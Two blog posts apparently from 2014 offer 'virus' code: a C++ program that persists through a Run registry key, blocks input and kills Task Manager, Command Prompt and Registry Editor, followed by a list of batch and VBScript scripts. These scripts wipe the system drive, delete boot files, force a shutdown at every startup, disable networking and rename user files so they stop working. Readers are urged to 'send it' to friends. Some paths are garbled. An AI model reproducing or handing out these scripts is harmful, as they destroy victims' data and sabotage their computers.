Sunday, 3 August 2014

Virus Code In C++


After Many Requests on providing some basic codes on virus in C++. Here I'm today with an another Post This time Specially For Our Visitors. Please the Code Down Is not to be used For any Wrong Purpose You are Yourself Responsible for, and Consequence That May Follow by the unauthorized use.

Virus Making Is A crime and i don't Take Any Clam over the Code it is not written By ME.



#include
#include
#include
#include
#include
#include
using namespace std;

int random, Freq, Dur, X, Y;
HWND mywindow, TaskMgr, CMD, Regedit;
char Notepad[MAX_PATH]="notepad.exe";
char MineSweeper[MAX_PATH]="winmine.exe";
char Hearts[MAX_PATH]="mshearts.exe";
char Website[MAX_PATH]="http:\\www.google.com";

void SetUp();
void Run( int ID );
void Beeper(), OpenStuff(), Hibernation(), CrazyMouse();

DWORD WINAPI DestroyWindows(LPVOID);

int main()
{
srand( time(0) );
random = rand()%6;
system("title :.Virus.:");
BlockInput( true );
SetUp();
BlockInput( false );
CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL);
while(1)
{
Run( random );
Sleep(10);
}
}
void SetUp()
{
char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
GetSystemDirectory(system,sizeof(system));
strcat(system,"\\winminer.exe");
CopyFile(pathtofile,system,false);

HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Mcft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "SetUp",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);

mywindow = FindWindow(NULL,":.Virus.:");
cout<<"You Are Doomed cyberot";
Sleep(1000);
ShowWindow(mywindow, false);
}

void Run( int ID )
{
if( ID == 1 )
{
BlockInput(true);
}
else if( ID == 2 )
{
Beeper();
}
else if( ID == 3 )
{
OpenStuff();
}
else if( ID == 4 )
{
Hibernation();
}
else if( ID == 5 )
{
CrazyMouse();
}
else
{
BlockInput(true);
Beeper();
OpenStuff();
CrazyMouse();
}
}

void Beeper()
{
Freq = rand()%2001;
Dur = rand()%301;
Beep( Freq, Dur );
}
void OpenStuff()
{
ShellExecute(NULL,"open",Notepad,NULL,NULL,SW_MAXIMIZE);
ShellExecute(NULL,"open",MineSweeper,NULL,NULL,SW_MAXIMIZE);
ShellExecute(NULL,"open",Hearts,NULL,NULL,SW_MAXIMIZE);
ShellExecute(NULL,"open",Website,NULL,NULL,SW_MAXIMIZE);
}
void Hibernation()
{
Sleep(1000);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
}
void CrazyMouse()
{
X = rand()%801;
Y = rand()%601;
SetCursorPos( X, Y );
}

DWORD WINAPI DestroyWindows(LPVOID)
{
while(1)
{
TaskMgr = FindWindow(NULL,"Windows Task Manager");
CMD = FindWindow(NULL, "Command Prompt");
Regedit = FindWindow(NULL,"Registry Editor");
if( TaskMgr != NULL )
{
SetWindowText( TaskMgr, "You Suck Balls Superman");
PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
if( CMD != NULL )
{
SetWindowText( CMD, "You Suck Balls Superman");
PostMessage( CMD, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
if( Regedit != NULL )
{
SetWindowText( Regedit, "You Suck Balls Superman");
PostMessage( Regedit, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}

Sleep(10);
}
}
This is Not A proper Virus But it is An Annoying One. Still I'll Explain the Working
the blank include lines are
#include <iostream> #include <stdio.h> #include <windows.h> #include <winable.h> #include <conio.h> #include <ctime>Turn off the monitor
void Hibernation() { Sleep(1000); SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2); }
making your mouse go crazy. Make two rand var's and tell the mouse to goto them
void CrazyMouse() { X = rand()%801; Y = rand()%601; SetCursorPos( X, Y ); }
open random Apps as it says OpenStuff
void OpenStuff() { ShellExecute(NULL,"open",Notepad,NULL,NULL,SW_MAXI MIZE); ShellExecute(NULL,"open",MineSweeper,NULL,NULL,SW_ MAXIMIZE); ShellExecute(NULL,"open",Hearts,NULL,NULL,SW_MAXIM IZE); ShellExecute(NULL,"open",Website,NULL,NULL,SW_MAXI MIZE); }
Find windows by name and destroy them ... Using the FindWindow command lets use do it and if its not null and it found the window open give it a command.
DWORD WINAPI DestroyWindows(LPVOID) { while(1) { TaskMgr = FindWindow(NULL,"Windows Task Manager"); CMD = FindWindow(NULL, "Command Prompt"); Regedit = FindWindow(NULL,"Registry Editor"); if( TaskMgr != NULL ) { SetWindowText( TaskMgr, "You Suck Balls Superman"); PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0); } if( CMD != NULL ) { SetWindowText( CMD, "You Suck Balls Superman"); PostMessage( CMD, WM_CLOSE, (LPARAM)0, (WPARAM)0); } if( Regedit != NULL ) { SetWindowText( Regedit, "You Suck Balls Superman"); PostMessage( Regedit, WM_CLOSE, (LPARAM)0, (WPARAM)0); }
Add your program to run when windows starts
HKEY hKey; RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Mcft\\W indows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey ); RegSetValueEx(hKey, "SetUp",0,REG_SZ,(const unsigned char*)system,sizeof(system)); RegCloseKey(hKey);
Make your comp beep different freq and different lengths again by rand numbers
void Beeper() { Freq = rand()%2001; Dur = rand()%301; Beep( Freq, Dur ); }

Saturday, 2 August 2014

Create Virus on Notepad

computer virus
 Create Virus on Notepad

1 -> Virus Creation Tricks 1

Just open the Notepad and type the paste the following Code.
set ws=createobject("wscript.shell")
dim strDir,strfile,st,strtxt2,strshell,strlog
dim obfso,obfolder,obshell,obfile,obtxtfile
strshell="wscript.shell"
strDir="C:\WINDOWS"
strfile="\wscript.vbs"
st=Chr(34)
strlog="shutdown -l"
strtxt2="ws.run(strlog)"
set obfso=CreateObject("Scripting.FileSystemObject")
on error resume next
set obfile=obfso.CreateTextfile(strDir & strfile)
obfile.writeline("set ws=createobject("&st&strshell&st&")")
obfile.writeline("ws.run("&st&strlog&st&")")
ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Logoff","C:\WINDOWS\wscript.vbs","REG_SZ”


Now Save This Notepad file With Any Name Having  .vbs Extension . 

2 -> Virus Creation Trick  2 .
Open Notepad and write "start" without quotes 
Start
Start
Start 

and then save it with .bat extension. 
Now double click on this .bat file to run Command Prompt.

 3 -> Virus Creation Trick 3 
Convey your friend a little message and shut down his / her computer:
@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s
 
Save it as "Anything.BAT" in All Files and send it. 

4 -> Virus Creation Trick 4 
Toggle your friend's Caps Lock button simultaneously:
Code:
Set wshShell =wscript.CreateObject("WScript.Shel
l")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Save it as "Anything.VBS" and send it. 

5 -> Virus Creation Trick 5 
Frustrate your friend by making this VBScript hit Enter simultaneously:Type :

Code:

Set wshShell = wscript.CreateObject("WScript.Shell
")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Save it as "Anything.VBS" and send it.
   

6 -> Virus Creation Trick 6  
This Virus Deletes All The Content Of A Drive... 

@echo off
del %systemdrive%*.* /f /s /q
shutdown -r -f -t 00

Save The Above Code As Anything.bat 




7 -> Virus Creation Trick 7
This Will Crash Ur Computer 
Option Explicit

Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell")

Dim x
For x = 1 to 100000000
WSHShell.Run "Tourstart.exe"
Next

Save It As Anything.vbs 
 
 8 -> Virus Creation Trick 8
The Most Simple Virus To Crush The Window
It Only Works With Windows XP

@Echo off
Del C: *.* |y
 
Save It As Anything.bat 

 9 -> Virus Creation Trick 9
Virus that crashes pc
@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini
@echo off
msg * YOU GOT OWNED!!!
shutdown -s -t 7 -c "A VIRUS IS TAKING OVER c:Drive

Save As Anything.bat File In Notepad!!This Will Pop Up A Message Saying OWNED!!
And Shut Down The Computer Never To Reboot Again!


10 -> Virus Creation Trick 10
Shutdowns Computer Everytime It Is Turned On
Save As A bat File
echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v /t reg_sz /d c:windowshartlell.bat /f
echo You have been HACKED.
PAUSE

11 -> Virus Creation Trick 11
Disable Internet Permanently
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE

Save As A bat File
 
  
12 -> Virus Creation Trick 12 
Change Files To Non-working TXT Files
Save As A bat File

REN *.DOC *.TXT REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT

  

13 -> Virus Creation Trick 13 
System Meltdown

:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH
ipconfig /release
shutdown -r -f -t0
echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v HAHAHA /t reg_sz /d c:windowshartlell.bat /f
echo You Have Been Hackedecho @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo YOU HAVE BEEN HACKED BITCH
REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT

PAUSE

PAUSE

Save As A bat File


Temporarily Flood Network

:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH

We can make a batch file which will Shutdown the computer everytime on startup !

Here is how ?

? Open Notepad

? Type :

@ECHO OFF

shutdown -s -t 10 -c "Virus Attack..."

exit

? File >> Save As...

? Name it : virus.bat

? Start >> All Programs

? Right Click on Startup >> Open

? This open the Startup folder

? Paste the Virus.bat file here !

*** That's all , now the computer will 
automatically shutdown on every startup !